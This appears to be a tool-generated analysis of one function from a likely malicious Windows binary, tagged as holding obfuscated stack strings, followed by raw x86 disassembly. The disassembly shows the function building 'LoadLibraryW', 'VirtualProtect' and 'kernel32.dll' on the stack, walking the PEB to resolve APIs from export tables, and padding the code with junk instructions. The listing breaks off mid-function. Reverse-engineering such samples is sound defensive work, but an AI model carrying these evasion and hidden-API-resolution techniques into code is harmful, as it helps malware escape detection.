Function at 0x40d59e
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
add esp, 4
pop ecx
mov byte [ebp - 0x894], 0x4c
mov byte [ebp - 0x893], 0x6f
mov byte [ebp - 0x892], 0x61
mov byte [ebp - 0x891], 0x64
mov byte [ebp - 0x890], 0x4c
mov byte [ebp - 0x88f], 0x69
mov byte [ebp - 0x88e], 0x62
mov byte [ebp - 0x88d], 0x72
mov byte [ebp - 0x88c], 0x61
mov byte [ebp - 0x88b], 0x72
mov byte [ebp - 0x88a], 0x79
mov byte [ebp - 0x889], 0x57
mov byte [ebp - 0x888], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x19c0], eax
mov ecx, dword [ebp - 0x19c0]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x19c4], edx
mov eax, dword [ebp - 0x19c4]
mov dword [ebp - 0x15e8], eax
push eax
push esi
add esp, 4
add eax, 0x2338
pop eax
push eax
push edi
add esp, 4
jmp 0x40d63e
sub eax, 0x10003
pop eax
push edx
call 0x40d652
add byte [esi + 0x3d], cl
dec esp
cmp dword [edx + 0x48], eax
add esp, 4
pop edx
cmp dword [ebp - 0x15e8], 0
jne 0x40d66e
mov dword [ebp - 0x750], 0
jmp 0x40d92a
mov ecx, dword [ebp - 0x15e8]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xca4], eax
push eax
and eax, 0xa196
jmp 0x40d68f
and eax, 0x16a87
pop eax
push eax
or eax, 0x1a64
sub eax, 0x17216
jmp 0x40d6ab
add eax, 0xcfce
pop eax
cmp dword [ebp - 0xca4], 0
jne 0x40d6ca
mov dword [ebp - 0x750], 0
jmp 0x40d92a
mov ecx, dword [ebp - 0xca4]
mov dword [ebp - 0x508], ecx
push ebx
push esi
add esp, 4
jmp 0x40d6e3
xor ebx, 0x5bab
and ebx, 0x1925
pop ebx
push ebx
push esi
add esp, 4
sub ebx, 0x160ca
add ebx, 0x150c2
sub ebx, 0xac3c
pop ebx
lea edx, [ebp - 0x1758]
mov dword [ebp - 0xca0], edx
mov eax, dword [ebp - 0x508]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc9c], ecx
xor edx, edx
mov word [ebp - 0x214], dx
xor eax, eax
mov word [ebp - 0x110], ax
push ecx
push ecx
add esp, 4
and ecx, 0x29df
pop ecx
push eax
push ecx
add esp, 4
xor eax, 0xb798
pop eax
push edi
jmp 0x40d753
call 0x40d763
add byte [ebx + 0x45], cl
cmp al, byte [ebp + 0x41]
dec eax
dec edx
xor dh, byte [edi]
dec edx
add esp, 4
pop edi
mov ecx, dword [ebp - 0xc9c]
mov dx, word [ecx]
mov word [ebp - 0x1036], dx
mov eax, dword [ebp - 0xc9c]
add eax, 2
mov dword [ebp - 0xc9c], eax
mov cx, word [ebp - 0x1036]
mov word [ebp - 0x214], cx
mov edx, dword [ebp - 0xca0]
mov ax, word [edx]
mov word [ebp - 0x1038], ax
mov ecx, dword [ebp - 0xca0]
add ecx, 2
mov dword [ebp - 0xca0], ecx
mov dx, word [ebp - 0x1038]
mov word [ebp - 0x110], dx
push eax
push edi
add esp, 4
xor eax, 0x2800
and eax, 0x107bc
and eax, 0x17cae
pop eax
push esi
push edx
add esp, 4
jmp 0x40d7e5
pop esi
push esi
xor esi, 0x16a9e
jmp 0x40d7f2
pop esi
movzx eax, word [ebp - 0x110]
test eax, eax
jne 0x40d816
movzx ecx, word [ebp - 0x214]
movzx edx, word [ebp - 0x110]
sub ecx, edx
mov dword [ebp - 0x15f0], ecx
jmp 0x40d879
movzx eax, word [ebp - 0x214]
movzx ecx, word [ebp - 0x110]
cmp eax, ecx
je 0x40d735
movzx edx, word [ebp - 0x214]
xor edx, 0x20
movzx eax, word [ebp - 0x110]
cmp edx, eax
je 0x40d735
movzx ecx, word [ebp - 0x214]
movzx edx, word [ebp - 0x110]
cmp ecx, edx
jge 0x40d863
mov dword [ebp - 0x15ec], 0xffffffff
jmp 0x40d86d
mov dword [ebp - 0x15ec], 1
mov eax, dword [ebp - 0x15ec]
mov dword [ebp - 0x15f0], eax
cmp dword [ebp - 0x15f0], 0
jne 0x40d8c2
push ebx
xor ebx, 0x8281
call 0x40d899
add byte [edi], dh
cmp byte [eax + 0x3a], dl
inc ebx
dec edx
inc ebx
cmp ecx, dword [ecx + 0x50]
add esp, 4
sub ebx, 0x7be0
call 0x40d8b0
add byte [eax], bh
inc edx
cmp dword [ebx + 0x3a], ecx
inc edi
cmp ecx, dword [edi - 0x7d]
les eax, [ebx + ebx*2]
mov ecx, dword [ebp - 0x508]
mov dword [ebp - 0x750], ecx
jmp 0x40d92a
push ebx
add ebx, 0x15c16
and ebx, 0x16db6
pop ebx
push edx
push edi
add esp, 4
call 0x40d8e4
add byte [eax + 0x39], al
dec esi
dec ebx
xor dh, byte [edx]
xor al, byte [edx + 0x4a]
add esp, 4
or edx, 0x17830
add edx, 0x6222
pop edx
mov edx, dword [ebp - 0x508]
mov eax, dword [edx]
mov dword [ebp - 0x508], eax
mov ecx, dword [ebp - 0x508]
cmp ecx, dword [ebp - 0xca4]
je 0x40d920
mov edx, dword [ebp - 0x508]
cmp dword [edx + 0x30], 0
jne 0x40d6d6
mov dword [ebp - 0x750], 0
push ecx
push eax
add esp, 4
add ecx, 0x931c
and ecx, 0xce7f
xor ecx, 0xf096
or ecx, 0x1280e
pop ecx
push ebx
push eax
add esp, 4
or ebx, 0x1862c
jmp 0x40d95b
pop ebx
cmp dword [ebp - 0x750], 0
jne 0x40d9a6
push ebx
push edi
add esp, 4
add ebx, 0xcc54
add ebx, 0x15489
add ebx, 0x2fd0
pop ebx
push eax
and eax, 0x12ce4
sub eax, 0xf7fa
sub eax, 0xfc4e
sub eax, 0x3a38
pop eax
mov dword [ebp - 0x79c], 0
jmp 0x40e4cd
push edi
push ebx
add esp, 4
and edi, 0x165e7
pop edi
push ecx
add ecx, 0x15f88
or ecx, 0x159c4
or ecx, 0xeb85
add ecx, 0x87be
pop ecx
push eax
push edx
add esp, 4
add eax, 0xb64a
pop eax
mov eax, dword [ebp - 0x750]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x320], ecx
mov dword [ebp - 0x760], 0
mov edx, dword [ebp - 0x320]
mov dword [ebp - 0x15f4], edx
cmp dword [ebp - 0x15f4], 0
jne 0x40da17
mov eax, dword [ebp - 0x760]
mov dword [ebp - 0x3f4], eax
jmp 0x40dd08
mov ecx, dword [ebp - 0x15f4]
mov edx, dword [ebp - 0x320]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x15f8], edx
jne 0x40da3f
mov eax, dword [ebp - 0x760]
mov dword [ebp - 0x3f4], eax
jmp 0x40dd08
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x15f8]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x15fc], ecx
cmp dword [ebp - 0x15fc], 0
jne 0x40da71
mov edx, dword [ebp - 0x760]
mov dword [ebp - 0x3f4], edx
jmp 0x40dd08
mov eax, dword [ebp - 0x320]
add eax, dword [ebp - 0x15fc]
mov dword [ebp - 0x754], eax
jne 0x40da96
mov ecx, dword [ebp - 0x760]
mov dword [ebp - 0x3f4], ecx
jmp 0x40dd08
mov edx, dword [ebp - 0x754]
mov eax, dword [ebp - 0x320]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x19c8], eax
mov ecx, dword [ebp - 0x754]
mov edx, dword [ebp - 0x320]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x19cc], edx
mov eax, dword [ebp - 0x754]
mov ecx, dword [ebp - 0x320]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x19d0], ecx
mov dword [ebp - 0x758], 0
jmp 0x40daf0
mov edx, dword [ebp - 0x758]
add edx, 1
mov dword [ebp - 0x758], edx
mov eax, dword [ebp - 0x754]
mov ecx, dword [ebp - 0x758]
cmp ecx, dword [eax + 0x18]
jae 0x40dcfc
mov edx, dword [ebp - 0x758]
mov eax, dword [ebp - 0x19c8]
mov ecx, dword [ebp - 0x320]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x75c], ecx
mov edx, dword [ebp - 0x758]
mov eax, dword [ebp - 0x19cc]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x19d0]
mov eax, dword [ebp - 0x320]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x19d4], eax
mov dword [ebp - 0x198], 0
jmp 0x40db60
mov ecx, dword [ebp - 0x198]
add ecx, 1
mov dword [ebp - 0x198], ecx
mov edx, dword [ebp - 0x75c]
add edx, dword [ebp - 0x198]
movsx eax, byte [edx]
test eax, eax
je 0x40dc12
mov ecx, dword [ebp - 0x198]
movsx edx, byte [ebp + ecx - 0x894]
test edx, edx
je 0x40dc12
push ebx
push eax
add esp, 4
sub ebx, 0x5f90
or ebx, 0x35b4
or ebx, 0x8da9
and ebx, 0x16a01
pop ebx
push edi
sub edi, 0xd468
pop edi
push eax
push edx
add esp, 4
xor eax, 0xa30e
pop eax
mov eax, dword [ebp - 0x75c]
add eax, dword [ebp - 0x198]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x198]
movsx eax, byte [ebp + edx - 0x894]
cmp ecx, eax
je 0x40dc04
mov ecx, dword [ebp - 0x75c]
add ecx, dword [ebp - 0x198]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x198]
movsx ecx, byte [ebp + eax - 0x894]
cmp edx, ecx
jne 0x40dc0b
jmp 0x40db51
jmp 0x40dc12
push esi
and esi, 0xb0ef
and esi, 0x4e28
pop esi
push eax
push edx
add esp, 4
add eax, 0x10277
sub eax, 0x9ca9
pop eax
push eax
push ecx
add esp, 4
xor eax, 0x13f34
sub eax, 0x31c3
pop eax
mov edx, dword [ebp - 0x75c]
add edx, dword [ebp - 0x198]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x198]
movsx edx, byte [ebp + ecx - 0x894]
cmp eax, edx
jne 0x40dc71
mov dword [ebp - 0xca8], 0
jmp 0x40dce0
push ecx
push edx
add esp, 4
xor ecx, 0xc9cb
sub ecx, 0x5425
add ecx, 0x15aab
pop ecx
push eax
add eax, 0xde73
or eax, 0x15f00
pop eax
push ebx
push edi
add esp, 4
add ebx, 0x11414
pop ebx
mov eax, dword [ebp - 0x75c]
add eax, dword [ebp - 0x198]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x198]
movsx eax, byte [ebp + edx - 0x894]
or eax, 0x20
cmp ecx, eax
jge 0x40dcd6
mov dword [ebp - 0xca8], 0xffffffff
jmp 0x40dce0
mov dword [ebp - 0xca8], 1
cmp dword [ebp - 0xca8], 0
jne 0x40dcf7
mov ecx, dword [ebp - 0x19d4]
mov dword [ebp - 0x3f4], ecx
jmp 0x40dd08
jmp 0x40dae1
mov edx, dword [ebp - 0x760]
mov dword [ebp - 0x3f4], edx
cmp dword [ebp - 0x3f4], 0
je 0x40dde3
push edi
push ecx
add esp, 4
and edi, 0x13ec4
pop edi
push eax
or eax, 0x1570d
pop eax
push ebx
push esi
add esp, 4
add ebx, 0x74d5
add ebx, 0x8a19
or ebx, 0x18273
or ebx, 0x63cf
pop ebx
mov eax, dword [ebp - 0x3f4]
mov dword [ebp - 0x19d8], eax
push esi
or esi, 0xe9c3
add esi, 0x19b6
jmp 0x40dd68
pop esi
push edi
xor edi, 0x73e3
sub edi, 0x76c
pop edi
push ebx
and ebx, 0x115ff
or ebx, 0xf64b
pop ebx
mov ecx, dword [ebp - 0x19d8]
mov dword [ebp - 0x19dc], ecx
lea edx, [ebp - 0x173c]
push edx
call dword [ebp - 0x19dc]
test eax, eax
jne 0x40dde3
push eax
push edi
add esp, 4
or eax, 0xa4cb
pop eax
push edi
or edi, 0xbcf7
pop edi
push esi
push esi
add esp, 4
and esi, 0x6329
or esi, 0x12129
xor esi, 0xcff7
and esi, 0x3078
pop esi
mov dword [ebp - 0x79c], 0
jmp 0x40e4cd
push esi
push ecx
add esp, 4
sub esi, 0x14e17
pop esi
push eax
push ebx
add esp, 4
add eax, 0x1731e
sub eax, 0x4a5b
pop eax
push edi
sub edi, 0x79b9
or edi, 0xc0ab
or edi, 0x2602
pop edi
mov ecx, dword [ebp - 0x3e8]
add ecx, 0xe
mov dword [ebp - 0x1a40], ecx
push edi
push ecx
add esp, 4
call 0x40e520
add byte [edx + 0x46], al
xor esi, dword ds:[edx]
cmp dword [ebp - 0x7d], ecx
les eax, [ebx + ebp*8]
add eax, 0x32344543
or edi, 0x771d
call 0x40e53c
add byte [edx + 0x3e], cl
inc ebp
inc edi
dec ebx
inc ecx
add esp, 4
pop edi
cmp dword [ebp - 0x3e8], 0
je 0x40e552
cmp dword [ebp - 0xac0], 0
jne 0x40e598
push eax
push edx
add esp, 4
add eax, 0x946b
xor eax, 0x9344
pop eax
push ecx
add ecx, 0x15087
add ecx, 0x5837
pop ecx
push eax
push ecx
add esp, 4
xor eax, 0x5ec0
sub eax, 0x24ba
pop eax
mov edx, dword [ebp - 0x79c]
mov dword [ebp - 0x19f4], edx
push 0
call dword [ebp - 0x19f4]
mov dword [ebp - 0x210c], 0xa
push eax
or eax, 0x374
add eax, 0x142b9
pop eax
push edi
xor edi, 0xa72c
jmp 0x40e5bd
call 0x40e5ca
add byte [ebp + 0x4e], cl
dec eax
dec eax
cmp al, 0x50
add esp, 4
xor edi, 0x9f68
pop edi
mov eax, dword [ebp - 0x3e8]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x3ae], cl
mov edx, dword [ebp - 0xac0]
sub edx, dword [ebp - 0x3e8]
mov dword [ebp - 0x1698], edx
mov dword [ebp - 0xce8], 0
push edi
sub edi, 0x14acb
sub edi, 0x136c3
and edi, 0x112e8
pop edi
push ebx
push esi
add esp, 4
add ebx, 0x12f5d
add ebx, 0x9593
add ebx, 0x14400
add ebx, 0xadb1
pop ebx
mov byte [ebp - 0x9d4], 0x56
mov byte [ebp - 0x9d3], 0x69
mov byte [ebp - 0x9d2], 0x72
mov byte [ebp - 0x9d1], 0x74
mov byte [ebp - 0x9d0], 0x75
mov byte [ebp - 0x9cf], 0x61
mov byte [ebp - 0x9ce], 0x6c
mov byte [ebp - 0x9cd], 0x50
mov byte [ebp - 0x9cc], 0x72
mov byte [ebp - 0x9cb], 0x6f
mov byte [ebp - 0x9ca], 0x74
mov byte [ebp - 0x9c9], 0x65
mov byte [ebp - 0x9c8], 0x63
mov byte [ebp - 0x9c7], 0x74
mov byte [ebp - 0x9c6], 0
push esi
jmp 0x40e6a0
call 0x40e6b0
add byte [ecx], bh
cmp byte [eax + eax*2 + 0x3d], al
cmp esi, dword [ebx]
dec esp
cmp eax, 0x4c48346
pop esi
push ecx
call 0x40e6c2
add byte [esi], bh
dec ebp
dec ecx
dec edi
cmp byte [edi], dh
xor eax, dword [ebx - 0x167efb3c]
fild qword [ecx + 1]
add byte [ecx + 0x64], bl
mov eax, dword [0x18]
mov dword [ebp - 0x19f8], eax
mov ecx, dword [ebp - 0x19f8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x19fc], edx
mov eax, dword [ebp - 0x19fc]
mov dword [ebp - 0x1618], eax
push edi
push ebx
add esp, 4
and edi, 0xa8d9
pop edi
push edi
add edi, 0x876d
add edi, 0xd4fa
or edi, 0x794b
pop edi
push edx
push ebx
add esp, 4
sub edx, 0x9b1b
xor edx, 0x1141e
pop edx
cmp dword [ebp - 0x1618], 0
jne 0x40e73d
mov dword [ebp - 0x2fc], 0
jmp 0x40e9e4
mov ecx, dword [ebp - 0x1618]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcc4], eax
push ecx
push esi
add esp, 4
jmp 0x40e75a
pop ecx
push edx
xor edx, 0x4b7b
pop edx
push edi
push edi
add esp, 4
add edi, 0x45aa
xor edi, 0x5517
sub edi, 0x11fac
add edi, 0xad55
pop edi
cmp dword [ebp - 0xcc4], 0
jne 0x40e799
mov dword [ebp - 0x2fc], 0
jmp 0x40e9e4
mov ecx, dword [ebp - 0xcc4]
mov dword [ebp - 0x514], ecx
push ebx
add ebx, 0xfa6f
and ebx, 0x2fc5
pop ebx
push ebx
push ebx
add esp, 4
call 0x40e7c4
add byte [ebx + 0x35], al
dec ebp
dec esi
inc edx
inc esp
add esp, 4
call 0x40e7d3
add byte [ecx], bh
dec ebp
cmp dword [eax + edi + 0x36], ecx
add esp, 4
pop ebx
lea edx, [ebp - 0x173c]
mov dword [ebp - 0xcc0], edx
mov eax, dword [ebp - 0x514]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xcbc], ecx
xor edx, edx
mov word [ebp - 0x21c], dx
xor eax, eax
mov word [ebp - 0x38], ax
push edi
push ebx
add esp, 4
add edi, 0x11107
or edi, 0x5224
and edi, 0x1493f
sub edi, 0x172c2
pop edi
push eax
xor eax, 0x627c
or eax, 0x58b9
sub eax, 0x142c8
pop eax
mov ecx, dword [ebp - 0xcbc]
mov dx, word [ecx]
mov word [ebp - 0x103e], dx
mov eax, dword [ebp - 0xcbc]
add eax, 2
mov dword [ebp - 0xcbc], eax
mov cx, word [ebp - 0x103e]
mov word [ebp - 0x21c], cx
mov edx, dword [ebp - 0xcc0]
mov ax, word [edx]
mov word [ebp - 0x1040], ax
mov ecx, dword [ebp - 0xcc0]
add ecx, 2
mov dword [ebp - 0xcc0], ecx
mov dx, word [ebp - 0x1040]
mov word [ebp - 0x38], dx
push edi
push edx
add esp, 4
add edi, 0x17fb6
add edi, 0x5fdf
pop edi
push edi
xor edi, 0xaed
or edi, 0x7cd
call 0x40e8b8
add byte [edx], bh
dec ebx
xor edi, dword [eax]
inc ebx
inc ecx
cmp edi, dword [edx]
dec esp
add esp, 4
pop edi
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x40e8d9
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1620], ecx
jmp 0x40e933
movzx eax, word [ebp - 0x21c]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x40e801
movzx edx, word [ebp - 0x21c]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x40e801
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x40e91d
mov dword [ebp - 0x161c], 0xffffffff
jmp 0x40e927
mov dword [ebp - 0x161c], 1
mov eax, dword [ebp - 0x161c]
mov dword [ebp - 0x1620], eax
cmp dword [ebp - 0x1620], 0
jne 0x40e97c
push eax
push edx
add esp, 4
and eax, 0x15f
pop eax
push edi
jmp 0x40e94f
jmp 0x40e955
sub edi, 0x9422
pop edi
push esi
push esi
add esp, 4
or esi, 0x75ec
or esi, 0x3cba
pop esi
mov ecx, dword [ebp - 0x514]
mov dword [ebp - 0x2fc], ecx
jmp 0x40e9e4
push esi
push edi
add esp, 4
jmp 0x40e986
pop esi
push edx
call 0x40e998
add byte [ebx + 0x3b], cl
xor edx, dword [eax + 0x45]
inc esi
dec ecx
dec edi
cmp eax, 0x4c48344
xor edx, 0x5564
xor edx, 0xce3c
add edx, 0x16185
pop edx
mov edx, dword [ebp - 0x514]
mov eax, dword [edx]
mov dword [ebp - 0x514], eax
mov ecx, dword [ebp - 0x514]
cmp ecx, dword [ebp - 0xcc4]
je 0x40e9da
mov edx, dword [ebp - 0x514]
cmp dword [edx + 0x30], 0
jne 0x40e7a5
mov dword [ebp - 0x2fc], 0
push edi
push ebx
add esp, 4
call 0x40e9f5
add byte [esi + 0x47], al
inc esp
cmp esi, dword [0x4c48342]
pop edi
push eax
jmp 0x40ea02
or eax, 0x6675
jmp 0x40ea0f
or eax, 0x787e
pop eax
cmp dword [ebp - 0x2fc], 0
jne 0x40f31b
mov eax, 0x6b
mov word [ebp - 0x1774], ax
mov ecx, 0x65
mov word [ebp - 0x1772], cx
mov edx, 0x72
mov word [ebp - 0x1770], dx
mov eax, 0x6e
mov word [ebp - 0x176e], ax
mov ecx, 0x65
mov word [ebp - 0x176c], cx
mov edx, 0x6c
mov word [ebp - 0x176a], dx
mov eax, 0x33
mov word [ebp - 0x1768], ax
mov ecx, 0x32
mov word [ebp - 0x1766], cx
mov edx, 0x2e
mov word [ebp - 0x1764], dx
mov eax, 0x64
mov word [ebp - 0x1762], ax
mov ecx, 0x6c
mov word [ebp - 0x1760], cx
mov edx, 0x6c
mov word [ebp - 0x175e], dx
xor eax, eax
mov word [ebp - 0x175c], ax
push ecx
call 0x40eaca
add byte [ebx + 0x3e], al
cmp al, byte [ecx + 0x37]
dec eax
cmp byte [ebx + 0x505904c4], al
push eax
add esp, 4
sub eax, 0x13737
xor eax, 0x11185
or eax, 0x8d7f
pop eax
push edx
or edx, 0x154
pop edx
mov byte [ebp - 0x8a4], 0x4c
mov byte [ebp - 0x8a3], 0x6f
mov byte [ebp - 0x8a2], 0x61
mov byte [ebp - 0x8a1], 0x64
mov byte [ebp - 0x8a0], 0x4c
mov byte [ebp - 0x89f], 0x69
mov byte [ebp - 0x89e], 0x62
mov byte [ebp - 0x89d], 0x72
mov byte [ebp - 0x89c], 0x61
mov byte [ebp - 0x89b], 0x72
mov byte [ebp - 0x89a], 0x79
mov byte [ebp - 0x899], 0x57
mov byte [ebp - 0x898], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x1a00], ecx
mov edx, dword [ebp - 0x1a00]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x1a04], eax
mov ecx, dword [ebp - 0x1a04]
mov dword [ebp - 0x1624], ecx
push ebx
and ebx, 0x174b2
and ebx, 0x5067
or ebx, 0x88bd
pop ebx
push edx
push esi
add esp, 4
xor edx, 0x7208
or edx, 0x2a9d
and edx, 0xbe0d
add edx, 0x16cf7
pop edx
cmp dword [ebp - 0x1624], 0
jne 0x40ebbb
mov dword [ebp - 0x774], 0
jmp 0x40ee62
mov edx, dword [ebp - 0x1624]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xcd0], ecx
push edi
xor edi, 0x10adb
pop edi
push eax
add eax, 0x56f8
or eax, 0x2164
jmp 0x40ebe8
sub eax, 0x48e0
pop eax
push edx
and edx, 0xedab
pop edx
push ecx
add ecx, 0x17c4
pop ecx
cmp dword [ebp - 0xcd0], 0
jne 0x40ec17
mov dword [ebp - 0x774], 0
jmp 0x40ee62
mov edx, dword [ebp - 0xcd0]
mov dword [ebp - 0x518], edx
push esi
sub esi, 0x8951
call 0x40ec39
add byte [ebp + 0x46], al
aas
inc eax
cmp byte [esi], dh
cmp byte [ebp + 0x49], al
add esp, 4
add esi, 0x3041
call 0x40ec51
add byte [esi], dh
cmp dh, byte [esi]
xor eax, 0x44454e34
dec ecx
add esp, 4
pop esi
lea eax, [ebp - 0x1774]
mov dword [ebp - 0xccc], eax
mov ecx, dword [ebp - 0x518]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xcc8], edx
xor eax, eax
mov word [ebp - 0x220], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push ecx
add ecx, 0x5089
pop ecx
push ecx
push edi
add esp, 4
add ecx, 0x109f7
call 0x40eca1
add byte [eax + 0x3b], cl
cmp byte [edx], dh
dec ecx
inc ebx
cmp dword [edi + 0x47], eax
add esp, 4
or ecx, 0x119cc
sub ecx, 0x10acb
pop ecx
mov edx, dword [ebp - 0xcc8]
mov ax, word [edx]
mov word [ebp - 0x1042], ax
mov ecx, dword [ebp - 0xcc8]
add ecx, 2
mov dword [ebp - 0xcc8], ecx
mov dx, word [ebp - 0x1042]
mov word [ebp - 0x220], dx
mov eax, dword [ebp - 0xccc]
mov cx, word [eax]
mov word [ebp - 0x1044], cx
mov edx, dword [ebp - 0xccc]
add edx, 2
mov dword [ebp - 0xccc], edx
mov ax, word [ebp - 0x1044]
mov word [ebp - 0x3c], ax
push ebx
push ecx
add esp, 4
xor ebx, 0x9d7c
or ebx, 0x27bb
sub ebx, 0x7470
sub ebx, 0x5095
pop ebx
push eax
and eax, 0x4329
xor eax, 0x90d4
sub eax, 0x2630
pop eax
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x40ed57
movzx edx, word [ebp - 0x220]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x166c], edx
jmp 0x40edb1
movzx ecx, word [ebp - 0x220]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x40ec7f
movzx eax, word [ebp - 0x220]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x40ec7f
movzx edx, word [ebp - 0x220]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x40ed9b
mov dword [ebp - 0x1668], 0xffffffff
jmp 0x40eda5
mov dword [ebp - 0x1668], 1
mov ecx, dword [ebp - 0x1668]
mov dword [ebp - 0x166c], ecx
cmp dword [ebp - 0x166c], 0
jne 0x40edfa
push ecx
push ebx
add esp, 4
xor ecx, 0x11242
or ecx, 0x10b11
xor ecx, 0x11d7b
pop ecx
push edi
and edi, 0x128d4
add edi, 0x1a1f
xor edi, 0x2605
sub edi, 0xf80b
pop edi
mov edx, dword [ebp - 0x518]
mov dword [ebp - 0x774], edx
jmp 0x40ee62
push eax
and eax, 0x1495
pop eax
push ecx
xor ecx, 0x5633
or ecx, 0x8c3d
pop ecx
push ecx
sub ecx, 0xe3f6
pop ecx
push ebx
xor ebx, 0x8b95
add ebx, 0x8d94
or ebx, 0x11405
pop ebx
mov eax, dword [ebp - 0x518]
mov ecx, dword [eax]
mov dword [ebp - 0x518], ecx
mov edx, dword [ebp - 0x518]
cmp edx, dword [ebp - 0xcd0]
je 0x40ee58
mov eax, dword [ebp - 0x518]
cmp dword [eax + 0x30], 0
jne 0x40ec23
mov dword [ebp - 0x774], 0
push edx
jmp 0x40ee69
pop edx
push ecx
push edx
add esp, 4
call 0x40ee7e
add byte [ecx], bh
inc ebp
dec esi
xor eax, 0x4c493244
add esp, 4
jmp 0x40ee87
or ecx, 0x101b8
sub ecx, 0xa017
pop ecx
cmp dword [ebp - 0x774], 0
jne 0x40eede
push esi
push edx
add esp, 4
sub esi, 0x91da
jmp 0x40eeaf
pop esi
push ecx
or ecx, 0x16df3
jmp 0x40eec0
pop ecx
push esi
xor esi, 0x5ec
add esi, 0x9f8a
pop esi
mov dword [ebp - 0xabc], 0
jmp 0x40fa06
push edx
sub edx, 0x16b26
call 0x40eef4
add byte [ebx + 0x4d], cl
inc ebp
aas
dec esp
xor eax, 0x8346344f
les eax, [ecx + eax*4]
ret 0x7304
push edi
call 0x40f329
add byte [esi + 0x3e], cl
dec esi
inc ecx
inc esi
inc ecx
inc edi
add esp, 4
or edi, 0x1193
pop edi
push ecx
or ecx, 0x15182
or ecx, 0x39fc
xor ecx, 0x9ec
or ecx, 0xdcc0
pop ecx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x1a20], ecx
mov edx, dword [ebp - 0x1a20]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x1a24], eax
mov ecx, dword [ebp - 0x1a24]
mov dword [ebp - 0x1680], ecx
push ecx
push esi
add esp, 4
and ecx, 0x303
xor ecx, 0x137e9
or ecx, 0x2e4f
pop ecx
push ebx
add ebx, 0x133c8
add ebx, 0x774
pop ebx
push esi
push ecx
add esp, 4
and esi, 0x184df
pop esi
cmp dword [ebp - 0x1680], 0
jne 0x40f3bf
mov dword [ebp - 0x2fc], 0
jmp 0x40f666
mov edx, dword [ebp - 0x1680]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xce0], ecx
push ebx
and ebx, 0xadca
pop ebx
push ebx
push edi
add esp, 4
xor ebx, 0x13c22
call 0x40f3f3
add byte [edi + 0x4f], cl
xor bh, byte [edi]
xor bh, byte [eax]
dec esp
push eax
add esp, 4
or ebx, 0x6228
add ebx, 0x152c4
pop ebx
cmp dword [ebp - 0xce0], 0
jne 0x40f41b
mov dword [ebp - 0x2fc], 0
jmp 0x40f666
mov edx, dword [ebp - 0xce0]
mov dword [ebp - 0x51c], edx
push ecx
or ecx, 0x16b0c
and ecx, 0xce5f
sub ecx, 0x3919
pop ecx
push esi
push eax
add esp, 4
or esi, 0x157b1
or esi, 0xe15f
and esi, 0x14123
and esi, 0x9d13
pop esi
lea eax, [ebp - 0x173c]
mov dword [ebp - 0xcdc], eax
mov ecx, dword [ebp - 0x51c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xcd8], edx
xor eax, eax
mov word [ebp - 0x224], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push esi
push eax
add esp, 4
jmp 0x40f490
or esi, 0xd21f
call 0x40f4a3
add byte [ebp + 0x44], cl
inc eax
cmp cl, byte [edi + 0x34]
dec ecx
add esp, 4
add esi, 0xb137
pop esi
push esi
jmp 0x40f4b4
pop esi
mov edx, dword [ebp - 0xcd8]
mov ax, word [edx]
mov word [ebp - 0x1046], ax
mov ecx, dword [ebp - 0xcd8]
add ecx, 2
mov dword [ebp - 0xcd8], ecx
mov dx, word [ebp - 0x1046]
mov word [ebp - 0x224], dx
mov eax, dword [ebp - 0xcdc]
mov cx, word [eax]
mov word [ebp - 0x1048], cx
mov edx, dword [ebp - 0xcdc]
add edx, 2
mov dword [ebp - 0xcdc], edx
mov ax, word [ebp - 0x1048]
mov word [ebp - 0x40], ax
push edx
and edx, 0x5e8
jmp 0x40f51c
pop edx
push esi
push eax
add esp, 4
call 0x40f52e
add byte [0x3d423232], bh
inc ebx
add esp, 4
jmp 0x40f537
sub esi, 0xfa7f
pop esi
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x40f55b
movzx edx, word [ebp - 0x224]
